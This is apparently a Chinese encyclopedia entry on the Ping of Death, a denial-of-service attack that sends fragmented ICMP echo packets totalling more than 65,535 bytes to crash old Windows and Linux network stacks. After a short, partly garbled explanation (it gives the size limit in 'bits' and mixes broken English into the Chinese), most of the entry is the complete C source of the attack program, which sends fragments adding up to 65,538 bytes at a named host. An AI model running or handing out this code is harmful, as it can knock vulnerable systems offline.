Ping of Death

在網際網路上,ping of death是一種拒絕服務攻擊,方法是由攻擊者故意傳送大於65535位元組的ip數據包給對方。 TCP/IP的特徵之一是分片;它允許單一IP包被分為幾個更小的數據包。

簡介

在網際網路上,ping of death是一種拒絕服務攻擊,方法是由攻擊者故意傳送大於65535位元組的ip數據包給對方。 TCP/IP的特徵之一是碎裂;它允許單一IP包被分為幾個更小的數據包。在1996年,攻擊者開始利用那一個功能,當他們發現一個進入使用碎片包可以將整個IP包的大小增加到ip協定允許的65536比特以上的時候。當許多作業系統收到一個特大號的ip包時候,它們不知道該做什麼,因此,伺服器會被凍結、宕機或重新啟動。

ICMP的回送請求和應答報文通常是用來檢查網路連通性,對於大多數系統而言,傳送ICMP echo request 報文的命令是ping ,由於ip數據包的最大長度為65535位元組。而ICMP報頭位於數據報頭之後,並與ip數據包封裝在一起,因此ICMP數據包最大尺寸不超過65535位元組利用這一規定,可以向主機發動 ping of death 攻擊。ping of death 攻擊 是通過在最後分段中,改變其正確的偏移量和段長度的組合,使系統在接收到全部分段並重組報文時總的長度超過了65535位元組,導致記憶體溢出,這時主機就會出現記憶體分配錯誤而導致TCP/IP堆疊崩潰,導致當機!

傳播過程

ping_of_death簡述summarization:

通過分片傳輸大於64k的包,導致系統崩潰

vulnerable system:

old windows version or old linux version

in rfc 791 desctibed the maximum ip packet size is 65535, if a system has't check fragment size, when reassemble fragments may cause buffer overflow!

bottom is the sketch map for ping_of_deatch.

below is the ping_of_death source .

#include <stdio.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netdb.h>

#include <netinet/in.h>

#include <netinet/in_systm.h>

#include <netinet/ip.h>

#include <netinet/ip_icmp.h>

/*

* If your kernel doesn't muck with raw packets, #define REALLY_RAW.

* This is probably only Linux.

*/

#ifdef REALLY_RAW

#define FIX(x) htons(x)

#else

#define FIX(x) (x)

#endif

int

main(int argc, char **argv)

{

int s;

char buf[1500];

struct ip *ip = (struct ip *)buf;

struct icmp *icmp = (struct icmp *)(ip + 1);

struct hostent *hp;

struct sockaddr_in dst;

int offset;

int on = 1;

bzero(buf, sizeof buf);

if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {

perror("socket");

exit(1);

}

if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {

perror("IP_HDRINCL");

exit(1);

}

if (argc != 2) {

fprintf(stderr, "usage: %s hostname\n", argv[0]);

exit(1);

}

if ((hp = gethostbyname(argv[1])) == NULL) {

if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {

fprintf(stderr, "%s: unknown host\n", argv[1]);

}

} else {

bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);

}

printf("Sending to %s\n", inet_ntoa(ip->ip_dst));

ip->ip_v = 4;

ip->ip_hl = sizeof *ip >> 2;

ip->ip_tos = 0;

ip->ip_len = FIX(sizeof buf);

ip->ip_id = htons(4321);

ip->ip_off = FIX(0);

ip->ip_ttl = 255;

ip->ip_p = 1;

ip->ip_sum = 0; /* kernel fills in */

ip->ip_src.s_addr = 0; /* kernel fills in */

dst.sin_addr = ip->ip_dst;

dst.sin_family = AF_INET;

icmp->icmp_type = ICMP_ECHO;

icmp->icmp_code = 0;

icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));

/* the checksum of all 0's is easy to compute */

for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {

ip->ip_off = FIX(offset >> 3);

if (offset < 65120)

ip->ip_off |= FIX(IP_MF);

else

ip->ip_len = FIX(418); /* make total 65538 */

if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,

sizeof dst) < 0) {

fprintf(stderr, "offset %d: ", offset);

perror("sendto");

}

if (offset == 0) {

icmp->icmp_type = 0;

icmp->icmp_code = 0;

icmp->icmp_cksum = 0;

}

}

}

相關詞條

相關搜尋

熱門詞條

聯絡我們